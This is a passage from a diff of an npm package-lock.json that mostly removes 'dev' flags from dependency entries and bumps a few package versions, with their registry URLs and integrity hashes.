"sha512-eP3Yo04FiQao7mPEhG37ESG1zYNB5uQ03dB3FlCvaZoUs4qGduBr7SRHdFENcGJlxCkwhY0QVKFfuaZZValPTA==" }, "@anypoint-web-components/anypoint-autocomplete": { "version": "0.2.12", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-autocomplete/-/anypoint-autocomplete-0.2.12.tgz", "integrity": "sha512-jIANGgT2Nxt529RTKB9326q2ozEssOqAib75mpBsSie/Kv+em2o+egdcSt1oSswBgeF3TGIuX6ITTzPLH5mKTw==", - "dev": true, "requires": { "@anypoint-web-components/anypoint-dropdown": "^1.1.6", "@anypoint-web-components/anypoint-item": "^1.1.2", @@ -413,7 +393,6 @@ "version": "1.2.2", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-checkbox/-/anypoint-checkbox-1.2.2.tgz", "integrity": "sha512-GF3fLPB7AUUEcnf5ypVGvRc0o9URhE6kxv8NuOl6x+xpVaQCrcM6BYs0S5aPOcH546AidZN4o0SbjPkotE2zlA==", - "dev": true, "requires": { "@anypoint-web-components/anypoint-control-mixins": "^1.2.0", "@anypoint-web-components/anypoint-form-mixins": "^1.3.0", @@ -442,7 +421,6 @@ "version": "0.1.10", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-dialog/-/anypoint-dialog-0.1.10.tgz", "integrity": "sha512-AwAmndgYOxJNKeBlL0NunqAOyiEeJqfi/+CnZo/6WpAAAlMFqd0TQ110UCM78ZYx8AMSpE6CeYa+3ZTra8axDw==", - "dev": true, "requires": { "@advanced-rest-client/arc-overlay-mixin": "^1.2.0", "@open-wc/dedupe-mixin": "^1.3.0", @@ -522,7 +500,6 @@ "version": "0.1.5", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-menu-button/-/anypoint-menu-button-0.1.5.tgz", "integrity": "sha512-sZKu3qLbRrGX9RMxKayS9jS41eTmaktYQXsrR9v32MbenMyI+FJ0IIZEidxSq5WFbYoLYih/iCaK57sFMepr9g==", - "dev": true, "requires": { "@anypoint-web-components/anypoint-control-mixins": "^1.1.3", "@anypoint-web-components/anypoint-dropdown": "^1.1.4", @@ -575,7 +552,6 @@ "version": "0.1.10", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-switch/-/anypoint-switch-0.1.10.tgz", "integrity": "sha512-EXE+6nF52TBOcx8sXDLmVmR9jliZzsG3zsPm6BFbWLofO0E6ZqPy7y6+yhyaIMCyl8M5GZWE9n+w7oyDQvELxQ==", - "dev": true, "requires": { "@anypoint-web-components/anypoint-control-mixins": "^1.2.0", "@anypoint-web-components/anypoint-form-mixins": "^1.3.0", @@ -626,7 +602,6 @@ "version": "0.2.0", "resolved": "https://registry.npmjs.org/@api-client/har/-/har-0.2.0.tgz", "integrity": "sha512-WKkhEClrlo5oNAzVPfRDaR002PiXZvdS80Qb/1rJfh9TBdTDogQxx6pi5Oyp5gxFzOJ8wIoJEsaNzAlPIJxGgg==", - "dev": true, "requires": { "@advanced-rest-client/arc-cookies": "^0.2.0", "@advanced-rest-client/arc-events": "^0.2.14", @@ -642,9 +617,9 @@ } }, "@api-components/amf-helper-mixin": { - "version": "4.5.12", - "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.12.tgz", - "integrity": "sha512-66sUC/YaWzTK+3G0QCtz1ByUWdvsUEo50BXqNDHreaGHXoRkYNdF1z79Tf3AniBCcUIVuRN1IVWu0KhrDGf4cg==", + "version": "4.5.14", + "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.14.tgz", + "integrity": "sha512-T1TuZFgJJVRQbMXf9oOLoOtwvzhW2cEMIbpe3b3p6REh5CYPS6+FimxqqP3zfBBYsPfyiufHUZ5Agj77enL2uw==", "requires": { "amf-json-ld-lib": "0.0.14" } @@ -676,10 +651,9 @@ } }, "@api-components/api-request": { - "version": "0.3.0-beta.3", - "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.3.tgz", - "integrity": "sha512-BawQ9YLgsoynbJvMq0mt65aOCqp53+iY34FiRBtABe5umgEYr7Tylq9JeuWjyrNWnz5nRrgpUrUlPDDAfOEwjQ==", - "dev": true, + "version": "0.3.0-beta.5", + "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.5.tgz", + "integrity": "sha512-hAt+K5OovThtkzeQLKHyIUgEscYQSXWnLbkbyF/5rv45+HywzdgH/vtsmQFLj3KZ4cdHOgR/S2hBdEq6eWlyvg==", "requires": { "@advanced-rest-client/arc-events": "^0.2.21", "@advanced-rest-client/arc-headers": "^0.1.7", @@ -700,8 +674,8 @@ "@anypoint-web-components/anypoint-listbox": "^1.1.7", "@anypoint-web-components/anypoint-radio-button": "^0.1.6", "@anypoint-web-components/anypoint-switch": "^0.1.10", - "@api-components/amf-helper-mixin": "^4.5.4", - "@api-components/api-schema": "^0.1.2", + "@api-components/amf-helper-mixin": "^4.5.12", + "@api-components/api-schema": "^0.1.4", "@api-components/api-server-selector": "^0.7.1", "@open-wc/dedupe-mixin": "^1.3.0", "lit-element": "^2.4.0", @@ -2738,8 +2712,7 @@ "@github/time-elements": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@github/time-elements/-/time-elements-3.1.2.tgz", - "integrity": "sha512-YVtZVLBikP6I7na22kfB9PKIseISwX41MFJ7lPuNz1VVH2IR5cpRRU6F1X6kcchPChljuvMUR4OiwMWHOJQ8kQ==", - "dev": true + "integrity": "sha512-YVtZVLBikP6I7na22kfB9PKIseISwX41MFJ7lPuNz1VVH2IR5cpRRU6F1X6kcchPChljuvMUR4OiwMWHOJQ8kQ==" }, "@humanwhocodes/config-array": { "version": "0.5.0", @@ -2903,14 +2876,12 @@ "@polymer/font-roboto": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/@polymer/font-roboto/-/font-roboto-3.0.2.tgz", - "integrity": "sha512-tx5TauYSmzsIvmSqepUPDYbs4/Ejz2XbZ1IkD7JEGqkdNUJlh+9KU85G56Tfdk/xjEZ8zorFfN09OSwiMrIQWA==", - "dev": true + "integrity": "sha512-tx5TauYSmzsIvmSqepUPDYbs4/Ejz2XbZ1IkD7JEGqkdNUJlh+9KU85G56Tfdk/xjEZ8zorFfN09OSwiMrIQWA==" }, "@polymer/iron-a11y-announcer": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/@polymer/iron-a11y-announcer/-/iron-a11y-announcer-3.2.0.tgz", "integrity": "sha512-We+hyaFHcg7Ke8ovsoxUpYEXFIJLHxMCDaLehTB4dELS+C+K0zMnGSiqQvb/YzGS+nSYpAfkQIyg1msOCdHMtA==", - "dev": true, "requires": { "@polymer/polymer": "^3.0.0" } @@ -2919,7 +2890,6 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/iron-ajax/-/iron-ajax-3.0.1.tgz", "integrity": "sha512-7+TPEAfWsRdhj1Y8UeF1759ktpVu+c3sG16rJiUC3wF9+woQ9xI1zUm2d59i7Yc3aDEJrR/Q8Y262KlOvyGVNg==", - "dev": true, "requires": { "@polymer/polymer": "^3.0.0" } @@ -2928,7 +2898,6 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/iron-flex-layout/-/iron-flex-layout-3.0.1.tgz", "integrity": "sha512-7gB869czArF+HZcPTVSgvA7tXYFze9EKckvM95NB7SqYF+NnsQyhoXgKnpFwGyo95lUjUW9TFDLUwDXnCYFtkw==", - "dev": true, "requires": { "@polymer/polymer": "^3.0.0" } @@ -2937,7 +2906,6 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/iron-form/-/iron-form-3.0.1.tgz", "integrity": "sha512-JwSQXHjYALsytCeBkXlY8aRwqgZuYIqzOk3iHuugb1RXOdZ7MZHyJhMDVBbscHjxqPKu/KaVzAjrcfwNNafzEA==", - "dev": true, "requires": { "@polymer/iron-ajax": "^3.0.0-pre.26", "@polymer/polymer": "^3.0.0" @@ -2947,7 +2915,6 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/iron-range-behavior/-/iron-range-behavior-3.0.1.tgz", "integrity": "sha512-+jtL9v45M/T1RJleWyQaNH84S9/mIIR+AjNbYIttbKGp1eG+98j8MDWe7LXNtg79V2LQnE/+VS82cBeELyGVeg==", - "dev": true, "requires": { "@polymer/polymer": "^3.0.0" } @@ -2956,7 +2923,6 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/paper-progress/-/paper-progress-3.0.1.tgz", "integrity": "sha512-5nguG+tmnyoaWKVNG8Smtno2uLSPBgEsT3f20JY8yJTjUBYWaqa8E3l5RLkTRXgA4x9OnvLb8/CdlQWXQIogBg==", - "dev": true, "requires": { "@polymer/iron-flex-layout": "^3.0.0-pre.26", "@polymer/iron-range-behavior": "^3.0.0-pre.26", @@ -2968,7 +2934,6 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/paper-styles/-/paper-styles-3.0.1.tgz", "integrity": "sha512-y6hmObLqlCx602TQiSBKHqjwkE7xmDiFkoxdYGaNjtv4xcysOTdVJsDR/R9UHwIaxJ7gHlthMSykir1nv78++g==", - "dev": true, "requires": { "@polymer/font-roboto": "^3.0.1", "@polymer/iron-flex-layout": "^3.0.0-pre.26", @@ -2979,7 +2944,6 @@ "version": "3.4.1", "resolved": "https://registry.npmjs.org/@polymer/polymer/-/polymer-3.4.1.tgz", "integrity": "sha512-KPWnhDZibtqKrUz7enIPOiO4ZQoJNOuLwqrhV2MXzIt3VVnUVJVG5ORz4Z2sgO+UZ+/UZnPD0jqY+jmw/+a9mQ==", - "dev": true, "requires": { "@webcomponents/shadycss": "^1.9.1" } @@ -3728,8 +3692,7 @@ "@webcomponents/shadycss": { "version": "1.11.0", "resolved": "https://registry.npmjs.org/@webcomponents/shadycss/-/shadycss-1.11.0.tgz", - "integrity": "sha512-L5O/+UPum8erOleNjKq6k58GVl3fNsEQdSOyh0EUhNmi7tHUyRuCJy1uqJiWydWcLARE5IPsMoPYMZmUGrz1JA==", - "dev": true + "integrity": "sha512-L5O/+UPum8erOleNjKq6k58GVl3fNsEQdSOyh0EUhNmi7tHUyRuCJy1uqJiWydWcLARE5IPsMoPYMZmUGrz1JA==" }, "JSONStream": { "version": "1.3.5", @@ -3745,7 +3708,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", - "dev": true, "requires": { "event-target-shim": "^5.0.0" } @@ -3754,7 +3716,6 @@ "version": "6.2.3", "resolved": "https://registry.npmjs.org/abstract-leveldown/-/abstract-leveldown-6.2.3.tgz", "integrity": "sha512-BsLm5vFMRUrrLeCcRc+G0t2qOaTzpoJQLOubq2XM72eNpjF5UdU5o/5NvlNhx95XHcAvcl8OMXr4mlg/fRgUXQ==", - "dev": true, "requires": { "buffer": "^5.5.0", "immediate": "^3.2.3", @@ -3766,8 +3727,7 @@ "immediate": { "version": "3.3.0", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz", - "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==", - "dev": true + "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==" } } }, @@ -3784,8 +3744,7 @@ "acorn": { "version": "5.7.4", "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.4.tgz", - "integrity": "sha512-1D++VG7BhrtvQpNbBzovKNc1FLGGEE/oGe7b9xJm/RFHMBeUaUGpluV9RLjZa47YFdPcDAenEYuq9pQPcMdLJg==", - "dev": true + "integrity": "sha512-1D++VG7BhrtvQpNbBzovKNc1FLGGEE/oGe7b9xJm/RFHMBeUaUGpluV9RLjZa47YFdPcDAenEYuq9pQPcMdLJg==" }, "acorn-jsx": { "version": "5.3.2", @@ -3844,8 +3803,7 @@ "amdefine": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", - "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", - "dev": true + "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=" }, "amf-client-js": { "version": "4.7.8", @@ -3957,8 +3915,7 @@ "argsarray": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/argsarray/-/argsarray-0.0.1.tgz", - "integrity": "sha1-bnIHtOzbObCviDA/pa4ivajfYcs=", - "dev": true + "integrity": "sha1-bnIHtOzbObCviDA/pa4ivajfYcs=" }, "aria-query": { "version": "4.2.2", @@ -4033,8 +3990,7 @@ "ast-types": { "version": "0.9.6", "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz", - "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=", - "dev": true + "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=" }, "astral-regex": { "version": "2.0.0", @@ -4066,8 +4022,7 @@ "attempt-x": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/attempt-x/-/attempt-x-1.1.3.tgz", - "integrity": "sha512-y/+ek8IjxVpTbj/phC87jK5YRhlP5Uu7FlQdCmYuut1DTjNruyrGqUWi5bcX1VKsQX1B0FX16A1hqHomKpHv3A==", - "dev": true + "integrity": "sha512-y/+ek8IjxVpTbj/phC87jK5YRhlP5Uu7FlQdCmYuut1DTjNruyrGqUWi5bcX1VKsQX1B0FX16A1hqHomKpHv3A==" }, "axe-core": { "version": "4.3.3", @@ -4084,20 +4039,17 @@ "balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" }, "base62": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/base62/-/base62-1.2.8.tgz", - "integrity": "sha512-V6YHUbjLxN1ymqNLb1DPHoU1CpfdL7d2YTIp5W3U4hhoG4hhxNmsFDs66M9EXxBiSEke5Bt5dwdfMwwZF70iLA==", - "dev": true + "integrity": "sha512-V6YHUbjLxN1ymqNLb1DPHoU1CpfdL7d2YTIp5W3U4hhoG4hhxNmsFDs66M9EXxBiSEke5Bt5dwdfMwwZF70iLA==" }, "base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "dev": true + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" }, "binary-extensions": { "version": "2.2.0", @@ -4120,7 +4072,6 @@ "version": "1.1.11", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -4145,7 +4096,6 @@ "version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", - "dev": true, "requires": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" @@ -4161,7 +4111,6 @@ "version": "0.1.1", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-0.1.1.tgz", "integrity": "sha1-V7GLHaChnsBvM4N6UnWiQjUb114=", - "dev": true, "requires": { "is-array-buffer-x": "^1.0.13" } @@ -4191,8 +4140,7 @@ "cached-constructors-x": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/cached-constructors-x/-/cached-constructors-x-1.0.2.tgz", - "integrity": "sha512-7lKwmwXweW6E/31RHAJemLtZPfb2xvcABXknFF4b/dNYv4DbSGTgQHckXLQkNw6BB4HKFYW6mJgsNjADAy1ehw==", - "dev": true + "integrity": "sha512-7lKwmwXweW6E/31RHAJemLtZPfb2xvcABXknFF4b/dNYv4DbSGTgQHckXLQkNw6BB4HKFYW6mJgsNjADAy1ehw==" }, "call-bind": { "version": "1.0.2", @@ -4275,8 +4223,7 @@ "charenc": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", - "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=", - "dev": true + "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=" }, "check-error": { "version": "1.0.2", @@ -4384,8 +4331,7 @@ "clone-buffer": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/clone-buffer/-/clone-buffer-1.0.0.tgz", - "integrity": "sha1-4+JbIHrE5wGvch4staFnksrD3Fg=", - "dev": true + "integrity": "sha1-4+JbIHrE5wGvch4staFnksrD3Fg=" }, "co": { "version": "4.6.0", @@ -4408,8 +4354,7 @@ "codemirror": { "version": "5.63.0", "resolved": "https://registry.npmjs.org/codemirror/-/codemirror-5.63.0.tgz", - "integrity": "sha512-KlLWRPggDg2rBD1Mx7/EqEhaBdy+ybBCVh/efgjBDsPpMeEu6MbTAJzIT4TuCzvmbTEgvKOGzVT6wdBTNusqrg==", - "dev": true + "integrity": "sha512-KlLWRPggDg2rBD1Mx7/EqEhaBdy+ybBCVh/efgjBDsPpMeEu6MbTAJzIT4TuCzvmbTEgvKOGzVT6wdBTNusqrg==" }, "color": { "version": "3.0.0", @@ -4544,14 +4489,12 @@ "commander": { "version": "2.20.3", "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", - "dev": true + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" }, "commoner": { "version": "0.10.8", "resolved": "https://registry.npmjs.org/commoner/-/commoner-0.10.8.tgz", "integrity": "sha1-NPw2cs0kOT6LtH5wyqApOBH08sU=", - "dev": true, "requires": { "commander": "^2.5.0", "detective": "^4.3.1", @@ -4606,8 +4549,7 @@ "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", - "dev": true + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" }, "confusing-browser-globals": { "version": "1.0.10", @@ -4720,8 +4662,7 @@ "core-util-is": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", - "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", - "dev": true + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" }, "cosmiconfig": { "version": "7.0.1", @@ -4765,8 +4706,7 @@ "crypt": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", - "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=", - "dev": true + "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=" }, "dargs": { "version": "7.0.0", @@ -4856,7 +4796,6 @@ "version": "5.3.0", "resolved": "https://registry.npmjs.org/deferred-leveldown/-/deferred-leveldown-5.3.0.tgz", "integrity": "sha512-a59VOT+oDy7vtAbLRCZwWgxu2BaCfd5Hk7wxJd48ei7I+nsg8Orlb9CLG0PMZienk9BSUKgeAqkO2+Lw+1+Ukw==", - "dev": true, "requires": { "abstract-leveldown": "~6.2.1", "inherits": "^2.0.3" @@ -4880,8 +4819,7 @@ "defined": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz", - "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=", - "dev": true + "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=" }, "delegates": { "version": "1.0.0", @@ -4911,7 +4849,6 @@ "version": "4.7.1", "resolved": "https://registry.npmjs.org/detective/-/detective-4.7.1.tgz", "integrity": "sha512-H6PmeeUcZloWtdt4DAkFyzFL94arpHr3NOwwmVILFiy+9Qd4JTxxXrzfyGk/lmct2qVGBwTSwSXagqu2BxmWig==", - "dev": true, "requires": { "acorn": "^5.2.1", "defined": "^1.0.0" @@ -5028,8 +4965,7 @@ "double-ended-queue": { "version": "2.1.0-0", "resolved": "https://registry.npmjs.org/double-ended-queue/-/double-ended-queue-2.1.0-0.tgz", - "integrity": "sha1-ED01J/0xUo9AGIEwyEHv3XgmTlw=", - "dev": true + "integrity": "sha1-ED01J/0xUo9AGIEwyEHv3XgmTlw=" }, "ee-first": { "version": "1.1.1", @@ -5059,7 +4995,6 @@ "version": "6.3.0", "resolved": "https://registry.npmjs.org/encoding-down/-/encoding-down-6.3.0.tgz", "integrity": "sha512-QKrV0iKR6MZVJV08QY0wp1e7vF6QbhnbQhb07bwpEyuz4uZiZgPlEGdkCROuFkUwdxlFaiPIhjyarH1ee/3vhw==", - "dev": true, "requires": { "abstract-leveldown": "^6.2.1", "inherits": "^2.0.3", @@ -5080,7 +5015,6 @@ "version": "0.1.0", "resolved": "https://registry.npmjs.org/end-stream/-/end-stream-0.1.0.tgz", "integrity": "sha1-MgA/P0OKKwFDFoE3+PpumGbIHtU=", - "dev": true, "requires": { "write-stream": "~0.4.3" } @@ -5104,7 +5038,6 @@ "version": "0.1.8", "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", - "dev": true, "requires": { "prr": "~1.0.1" } @@ -5179,7 +5112,6 @@ "version": "0.2.2", "resolved": "https://registry.npmjs.org/es3ify/-/es3ify-0.2.2.tgz", "integrity": "sha1-Xa4+ZQ5b42hLiAZlE9Uo0JJimGI=", - "dev": true, "requires": { "esprima": "^2.7.1", "jstransform": "~11.0.0", @@ -5609,8 +5541,7 @@ "esmangle-evaluator": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/esmangle-evaluator/-/esmangle-evaluator-1.0.1.tgz", - "integrity": "sha1-Yg2GbvSGGzMR91dm1SqFcrs8YzY=", - "dev": true + "integrity": "sha1-Yg2GbvSGGzMR91dm1SqFcrs8YzY=" }, "espree": { "version": "7.3.1", @@ -5640,8 +5571,7 @@ "esprima": { "version": "2.7.3", "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz", - "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=", - "dev": true + "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=" }, "esquery": { "version": "1.4.0", @@ -5704,8 +5634,7 @@ "event-target-shim": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", - "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", - "dev": true + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==" }, "execa": { "version": "5.1.1", @@ -5766,7 +5695,6 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/falafel/-/falafel-1.2.0.tgz", "integrity": "sha1-wY0k71CRF0pJfzGM0ksCaiXN2rQ=", - "dev": true, "requires": { "acorn": "^1.0.3", "foreach": "^2.0.5", @@ -5777,14 +5705,12 @@ "acorn": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/acorn/-/acorn-1.2.2.tgz", - "integrity": "sha1-yM4n3grMdtiW0rH6099YjZ6C8BQ=", - "dev": true + "integrity": "sha1-yM4n3grMdtiW0rH6099YjZ6C8BQ=" }, "isarray": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" } } }, @@ -5847,7 +5773,6 @@ "version": "0.10.1", "resolved": "https://registry.npmjs.org/fetch-cookie/-/fetch-cookie-0.10.1.tgz", "integrity": "sha512-beB+VEd4cNeVG1PY+ee74+PkuCQnik78pgLi5Ah/7qdUfov8IctU0vLUbBT8/10Ma5GMBeI4wtxhGrEfKNYs2g==", - "dev": true, "requires": { "tough-cookie": "^2.3.3 || ^3.0.1 || ^4.0.0" } @@ -5959,8 +5884,7 @@ "foreach": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz", - "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=", - "dev": true + "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=" }, "fresh": { "version": "0.5.2", @@ -6083,7 +6007,6 @@ "version": "5.0.15", "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz", "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", - "dev": true, "requires": { "inflight": "^1.0.4", "inherits": "2", @@ -6152,8 +6075,7 @@ "graceful-fs": { "version": "4.2.8", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", - "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==", - "dev": true + "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==" }, "graphql": { "version": "15.6.0", @@ -6225,7 +6147,6 @@ "version": "3.2.0", "resolved": "https://registry.npmjs.org/has-own-property-x/-/has-own-property-x-3.2.0.tgz", "integrity": "sha512-HtRQTYpRFz/YVaQ7jh2mU5iorMAxFcML9FNOLMI1f8VNJ2K0hpOlXoi1a+nmVl6oUcGnhd6zYOFAVe7NUFStyQ==", - "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "to-object-x": "^1.5.0", @@ -6235,20 +6156,17 @@ "has-symbol-support-x": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz", - "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==", - "dev": true + "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==" }, "has-symbols": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "dev": true + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==" }, "has-to-string-tag-x": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz", "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==", - "dev": true, "requires": { "has-symbol-support-x": "^1.4.1" } @@ -6257,7 +6175,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", - "dev": true, "requires": { "has-symbols": "^1.0.2" } @@ -6385,7 +6302,6 @@ "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - 